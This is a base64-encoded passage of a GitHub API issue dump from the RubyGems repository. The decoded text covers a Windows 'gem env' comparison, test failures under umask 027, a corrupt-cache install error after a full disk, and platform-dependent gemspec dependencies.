3J1YnkuZXhlXG4gIC0gRVhFQ1VUQUJMRSBESVJFQ1RPUlk6IEM6L3Byb2dyYS9ydWJ5L2JpblxuICAtIFNQRUMgQ0FDSEUgRElSRUNUT1JZOiBDOi9Eb2N1bWVudHMgYW5kIFNldHRpbmdzL01hcmsvLmdlbS9zcGVjc1xuICAtIFNZU1RFTSBDT05GSUdVUkFUSU9OIERJUkVDVE9SWTogQzovRG9jdW1lbnRzIGFuZCBTZXR0aW5ncy9BbGwgVXNlcnMvQXBwbGljYXRpb24gRGF0YVxuICAtIFJVQllHRU1TIFBMQVRGT1JNUzpcbiAgICAtIHJ1YnlcbiAgICAtIHg4Ni1taW5ndzMyXG4gIC0gR0VNIFBBVEhTOlxuICAgICAtIEM6L3Byb2dyYS9ydWJ5L2xpYi9ydWJ5L2dlbXMvMi4yLjBcbiAgICAgLSBDOi9Eb2N1bWVudHMgYW5kIFNldHRpbmdzL01hcmsvLmdlbS9ydWJ5LzIuMi4wXG4gIC0gR0VNIENPTkZJR1VSQVRJT046XG4gICAgIC0gOnVwZGF0ZV9zb3VyY2VzID0+IHRydWVcbiAgICAgLSA6dmVyYm9zZSA9PiB0cnVlXG4gICAgIC0gOmJhY2t0cmFjZSA9PiBmYWxzZVxuICAgICAtIDpidWxrX3RocmVzaG9sZCA9PiAxMDAwXG4gICAgIC0gXCJnZW1cIiA9PiBcIi0tY29uc2VydmF0aXZlIC0tbm8tcmRvYyAtLW5vLXJpIC0tcnVuLXRlc3RzXCJcbiAgICAgLSBcInJkb2NcIiA9PiBcIi0tYWxsIC0taW5saW5lLXNvdXJjZSAtLWxpbmUtbnVtYmVyc1wiXG4gIC0gUkVNT1RFIFNPVVJDRVM6XG4gICAgIC0gaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvXG4gIC0gU0hFTEwgUEFUSDpcbiAgICAgLSBDOlxcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xcTWFya1xcYmluXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXEdpdFxcbWluZ3czMlxcYmluXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXEdpdFxcdXNyXFxsb2NhbFxcYmluXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXEdpdFxcdXNyXFxiaW5cbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcR2l0XFx1c3JcXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxHaXRcXG1pbmd3MzJcXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxHaXRcXHVzclxcYmluXG4gICAgIC0gQzpcXERvY3VtZW50cyBhbmQgU2V0dGluZ3NcXE1hcmtcXGJpblxuICAgICAtIEM6XFxwcm9ncmFcXHJ1YnlcXGJpblxuICAgICAtIEM6XFxXSU5ET1dTXFxzeXN0ZW0zMlxuICAgICAtIEM6XFxXSU5ET1dTXG4gICAgIC0gQzpcXFdJTkRPV1NcXFN5c3RlbTMyXFxXYmVtXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXENvbW1vbiBGaWxlc1xcQWRhcHRlYyBTaGFyZWRcXFN5c3RlbVxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxDb21tb24gRmlsZXNcXEFkb2JlXFxBR0xcbiAgICAgLSBDOlxccHJvZ3JhXFxndGtcXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxJbnRlbFxcRE1JWFxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxNZWRpYWxpbmtcXE1XTi1VU0I1NEdcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcQ29tbW9uIEZpbGVzXFxUZWxlY2EgU2hhcmVkXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXFZETVNvdW5kXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXDctWmlwXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXGdzXFxnczkuMTZcXGJpblxuICAgICAtIEM6XFxwcm9ncmFcXGxpbHlwb25kXFxjdXJyZW50XFx1c3JcXGJpblxuICAgICAtIEM6XFxwcm9ncmFcXG5hbm9cXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxTa3lwZVxcUGhvbmVcbiAgICAgLSBDOlxccHJvZ3JhXFxQeXRob24zMlxuICAgICAtIEM6XFxEb2N1bWVudHMgYW5kIFNldHRpbmdzXFxBbGwgVXNlcnNcXEFwcGxpY2F0aW9uIERhdGFcXE9yYWNsZVxcSmF2YVxcamF2YXBhdGhcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcSW5ubyBTZXR1cCA1XG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXEdpdFxcdXNyXFxiaW5cXHZlbmRvcl9wZXJsXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXEdpdFxcdXNyXFxiaW5cXGNvcmVfcGVybFxuICAgICAtIEM6XFxEb2N1bWVudHMgYW5kIFNldHRpbmdzXFxNYXJrXFwuZWMyXFxiaW5cbmBgYFxuXG5PbiBXaW5kb3dzIDcgKHdoZXJlIGl0IHN1Y2NlZWRzKTpcblxuYGBgXG4kIGdlbSBlbnZcblJ1YnlHZW1zIEVudmlyb25tZW50OlxuICAtIFJVQllHRU1TIFZFUlNJT046IDIuNi42XG4gIC0gUlVCWSBWRVJTSU9OOiAyLjIuNSAoMjAxNi0wNC0yNiBwYXRjaGxldmVsIDMxOSkgW2kzODYtbWluZ3czMl1cbiAgLSBJTlNUQUxMQVRJT04gRElSRUNUT1JZOiBDOi9wcm9ncmEvcnVieS9saWIvcnVieS9nZW1zLzIuMi4wXG4gIC0gVVNFUiBJTlNUQUxMQVRJT04gRElSRUNUT1JZOiBDOi9Vc2Vycy9NYXJrLy5nZW0vcnVieS8yLjIuMFxuICAtIFJVQlkgRVhFQ1VUQUJMRTogQzovcHJvZ3JhL3J1YnkvYmluL3J1YnkuZXhlXG4gIC0gRVhFQ1VUQUJMRSBESVJFQ1RPUlk6IEM6L3Byb2dyYS9ydWJ5L2JpblxuICAtIFNQRUMgQ0FDSEUgRElSRUNUT1JZOiBDOi9Vc2Vycy9NYXJrLy5nZW0vc3BlY3NcbiAgLSBTWVNURU0gQ09ORklHVVJBVElPTiBESVJFQ1RPUlk6IEM6L1Byb2dyYW1EYXRhXG4gIC0gUlVCWUdFTVMgUExBVEZPUk1TOlxuICAgIC0gcnVieVxuICAgIC0geDg2LW1pbmd3MzJcbiAgLSBHRU0gUEFUSFM6XG4gICAgIC0gQzovcHJvZ3JhL3J1YnkvbGliL3J1YnkvZ2Vtcy8yLjIuMFxuICAgICAtIEM6L1VzZXJzL01hcmsvLmdlbS9ydWJ5LzIuMi4wXG4gIC0gR0VNIENPTkZJR1VSQVRJT046XG4gICAgIC0gOnVwZGF0ZV9zb3VyY2VzID0+IHRydWVcbiAgICAgLSA6dmVyYm9zZSA9PiB0cnVlXG4gICAgIC0gOmJhY2t0cmFjZSA9PiBmYWxzZVxuICAgICAtIDpidWxrX3RocmVzaG9sZCA9PiAxMDAwXG4gIC0gUkVNT1RFIFNPVVJDRVM6XG4gICAgIC0gaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvXG4gIC0gU0hFTEwgUEFUSDpcbiAgICAgLSBDOlxcVXNlcnNcXE1hcmtcXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxHaXRcXG1pbmd3NjRcXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxHaXRcXHVzclxcbG9jYWxcXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzXFxHaXRcXHVzclxcYmluXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXEdpdFxcdXNyXFxiaW5cbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcR2l0XFxtaW5ndzY0XFxiaW5cbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcR2l0XFx1c3JcXGJpblxuICAgICAtIEM6XFxVc2Vyc1xcTWFya1xcYmluXG4gICAgIC0gQzpcXFdpbmRvd3NcXHN5c3RlbTMyXG4gICAgIC0gQzpcXFdpbmRvd3NcbiAgICAgLSBDOlxcV2luZG93c1xcU3lzdGVtMzJcXFdiZW1cbiAgICAgLSBDOlxcV2luZG93c1xcU3lzdGVtMzJcXFdpbmRvd3NQb3dlclNoZWxsXFx2MS4wXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXENvbW1vbiBGaWxlc1xcTWljcm9zb2Z0IFNoYXJlZFxcV2luZG93cyBMaXZlXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXENvbW1vbiBGaWxlc1xcTWljcm9zb2Z0IFNoYXJlZFxcV2luZG93cyBMaXZlXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFdpbmRvd3MgTGl2ZVxcU2hhcmVkXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXE5WSURJQSBDb3Jwb3JhdGlvblxcUGh5c1hcXENvbW1vblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxBTUQgQVBQXFxiaW5cXHg4Nl82NFxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxJbnRlbFxcaUNMUyBDbGllbnRcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcSW50ZWxcXGlDTFMgQ2xpZW50XG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXEFUSSBUZWNobm9sb2dpZXNcXEFUSS5BQ0VcXENvcmUtU3RhdGljXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXENvbW1vbiBGaWxlc1xcQWRvYmVcXEFHTFxuICAgICAtIEM6XFxQcm9ncmFtRGF0YVxcT3JhY2xlXFxKYXZhXFxqYXZhcGF0aFxuICAgICAtIEM6XFxwcm9ncmFcXGd0a1xcYmluXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXNcXFB5dGhvbjMzXG4gICAgIC0gQzpcXHByb2dyYVxccnVieVxcYmluXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXGFyY2hkdWtlXFxtaWRpXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXGdzXFxnczkuMTZcXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxnc1xcZ3M5LjE2XFxsaWJcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcSGVyb2t1XFxiaW5cbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcTGlseVBvbmRcXGN1cnJlbnRcXHVzclxcYmluXG4gICAgIC0gQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFNreXBlXFxQaG9uZVxuICAgICAtIEM6XFxwcm9ncmFcXG5hbm9cXGJpblxuICAgICAtIEM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxJbm5vIFNldHVwIDVcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcR2l0XFx1c3JcXGJpblxcdmVuZG9yX3BlcmxcbiAgICAgLSBDOlxcUHJvZ3JhbSBGaWxlc1xcR2l0XFx1c3JcXGJpblxcY29yZV9wZXJsXG5gYGBcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY2NSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjY1L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjY1L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NjUvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NjUiLCJpZCI6MTY1NTg5NjU4LCJudW1iZXIiOjE2NjUsInRpdGxlIjoidGVzdCBmYWlsdXJlcyB3aXRoIHVtYXNrIDAyNyIsInVzZXIiOnsibG9naW4iOiJ6bnoiLCJpZCI6MTE4NTcsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzExODU3P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy96bnoiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS96bnoiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy96bnovZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvem56L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3puei9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvem56L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvem56L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvem56L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3puei9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3puei9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvem56L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDczNzQ0NTUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjB0cmlhZ2UiLCJuYW1lIjoic3RhdHVzOiB0cmlhZ2UiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjowLCJjcmVhdGVkX2F0IjoiMjAxNi0wNy0xNFQxNToyODo1N1oiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNy0yMVQxNzoxMjoxOFoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwiYm9keSI6IkkgYnVpbHQgYHJ1YnktdHJ1bmtgIGFuZCBydW4gYHRlc3QtYWxsYCB3aXRoIGB1bWFzayAwMjdgLlxuVGhlbiBzb21lIHRlc3RzIGZhaWxlZC5cbkFuZCBgdGVzdC9ydWJ5Z2Vtc2AgaGFzIDYgZmFpbHVyZXMuXG5cblNlZSBbZnVsbCBsb2cgb24gZ2lzdF0oaHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vem56LzY4NzkxNmE0MmY0NzczNDdmNjM5OTBkNTZiYWJjM2VhKS5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY2NCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjY0L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjY0L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NjQvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NjQiLCJpZCI6MTY1MjYxNjMyLCJudW1iZXIiOjE2NjQsInRpdGxlIjoiZ2VtIGluc3RhbGwgc3RvcHMgYWZ0ZXIgZnVsbCBkaXNrIGVycm9yIiwidXNlciI6eyJsb2dpbiI6Im1hcmtvLWF2bGlqYXMiLCJpZCI6ODY4NzMxNSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvODY4NzMxNT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbWFya28tYXZsaWphcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL21hcmtvLWF2bGlqYXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tYXJrby1hdmxpamFzL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21hcmtvLWF2bGlqYXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbWFya28tYXZsaWphcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbWFya28tYXZsaWphcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21hcmtvLWF2bGlqYXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tYXJrby1hdmxpamFzL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21hcmtvLWF2bGlqYXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tYXJrby1hdmxpamFzL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tYXJrby1hdmxpamFzL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDczNzQ0NTUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjB0cmlhZ2UiLCJuYW1lIjoic3RhdHVzOiB0cmlhZ2UiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo0LCJjcmVhdGVkX2F0IjoiMjAxNi0wNy0xM1QwODowOTowOVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wMS0yNlQxNDo1Mjo1OVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSSAgaGF2ZSBpbnN0YWxsZWQgR2VtZmlsZSBmb3Igb25lIG9mIG9sZGVyIHZlcnNpb25zIG9mIHJhaWxzIHR1dG9yaWFscyBhbmQgcmFuIG91dCBvZiBkaXNrIHNwYWNlIGluIHByb2Nlc3MuXG5BZnRlciBtYWtpbmcgc3BhY2UsIEkgZ290IGdyZWV0ZWQgd2l0aCB0aGlzIG1lc3NhZ2U6XG5cbmBgYFxuRVJST1I6ICBFcnJvciBpbnN0YWxsaW5nIGNoaWxkcHJvY2VzczpcbmludmFsaWQgZ2VtOiBwYWNrYWdlIG1ldGFkYXRhIGlzIG1pc3NpbmcgaW4gL2hvbWUvbWFya28vLmdlbS9ydWJ5LzIuMS45L2NhY2hlL2NoaWxkcHJvY2Vzcy0wLjUuOS5nZW1cbmBgYFxuXG5Qcm9ibGVtIHdhcyB0aGF0IGNhY2hlZCAuZ2VtIGZpbGUgaGFkIGZpbGUgc2l6ZSAwLiBJdCBmaXhlZCBpdHNlbGYgYWZ0ZXIgSSBkZWxldGVkIGFsbCAwIHNpemUgZmlsZXMgaW4gY2FjaGUgZGlyLiBHZW0gc2hvdWxkIGF1dG9tYXRpY2FsbHkgcmVsb2FkIGZpbGVzIGluIGNhY2hlIGlmIHRoZXkgYXJlIDAgc2l6ZSBvciBjb3JydXB0LiBPciBhdCBsZWFzdCBhc2sgeW91IHRvIGRvIHNvLlxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjYyIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NjIvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NjIvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY2Mi9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY2MiIsImlkIjoxNjUwNjA0MjYsIm51bWJlciI6MTY2MiwidGl0bGUiOiJnZW1zcGVjOiBwbGF0Zm9ybS1kZXBlbmRlbnQgZGVwZW5kZW5jaWVzIGxlYWRpbmcgdG8gaW5jb25zaXN0ZW50IGJ1aWxkcyIsInVzZXIiOnsibG9naW4iOiJIb25leXJ5ZGVyQ2h1Y2siLCJpZCI6MjE1NzA3LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMTU3MDc/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0hvbmV5cnlkZXJDaHVjayIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL0hvbmV5cnlkZXJDaHVjayIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0hvbmV5cnlkZXJDaHVjay9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Ib25leXJ5ZGVyQ2h1Y2svZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSG9uZXlyeWRlckNodWNrL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Ib25leXJ5ZGVyQ2h1Y2svc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Ib25leXJ5ZGVyQ2h1Y2svc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Ib25leXJ5ZGVyQ2h1Y2svb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSG9uZXlyeWRlckNodWNrL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSG9uZXlyeWRlckNodWNrL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Ib25leXJ5ZGVyQ2h1Y2svcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjIsImNyZWF0ZWRfYXQiOiIyMDE2LTA3LTEyVDExOjQ5OjEwWiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA3LTIxVDE3OjEyOjE4WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJNeSBjdXJyZW50IHByb2JsZW0gaXMgOlxuXG5JIGNyZWF0ZSB0aGlzIGdlbXNwZWMgd2hlcmUgSSBkZWZpbmUgbXVsdGlwbGUgZGVwZW5kZW5jaWVzLCBvbmUgb2YgdGhlbSBkZXBlbmRpbmcgb2YgYHJlZGNhcnBldGAsIHdoaWNoIGRvZXNuJ3QgYnVpbGQgb24ganJ1YnkuIEkndmUgYmVlbiBuYWl2ZWx5IHNldHRpbmcgaXQgaW4gdGhlIGdlbXNwZWMgbGlrZSB0aGlzOlxuXG5gYGAgcnVieVxuIyBteWdlbS5nZW1zcGVjXG5zcGVjLmFkZF9ydW50aW1lX2RlcGVuZGVuY3kgXCJtZDJtYW5cIiB1bmxlc3MgUlVCWV9QTEFURk9STSA9PSBcImphdmFcIlxuXG4jIGluIG15IGNvZGUsIEkgcmVxdWlyZSBvbiBhIG5lZWQgYmFzaXM6XG5yZXF1aXJlICdiaW5tYW4vcmFrZWZpbGUnIHVubGVzcyBSVUJZX1BMQVRGT1JNID09IFwiamF2YVwiXG5gYGBcblxuVGhpcyB3b3JrcyBtb3N0bHkgaW4gZGV2ZWxvcG1lbnQgbW9kZSwgYnV0IGJyZWFrcyBhcyBzb29uIGFzIEkgaW5zdGFsbCB0aGUgZ2VtIG9uIG90aGVyIHByb2plY3RzLiBcbi0gSWYgdGhlIGBnZW0gYnVpbGRgIGlzIHBlcmZvcm1lZCB3aXRoIENSdWJ5LCBgbWQybWFuYCB3aWxsIGJlIHRhZ2dlZCBhcyBwYWNrYWdlIGRlcGVuZGVuY3ksIGFuZCBpbnN0YWxsaW5nIHRoZSBnZW0gd29uJ3Qgd29yayBmb3IganJ1YnkuIFxuLSBJZiB0aGUgYGdlbSBidWlsZGAgaXMgcGVyZm9ybWVkIHdpdGggSlJ1YnksIGBtZDJtYW5gIHdpbGwgYmUgbWlzc2luZyBmcm9tIHRoZSBwYWNrYWdlIGRlcGVuZGVuY2llcywgYW5kIHRoYXQgYHJlcXVpcmVgIHdpbGwgZmFpbCBpbiB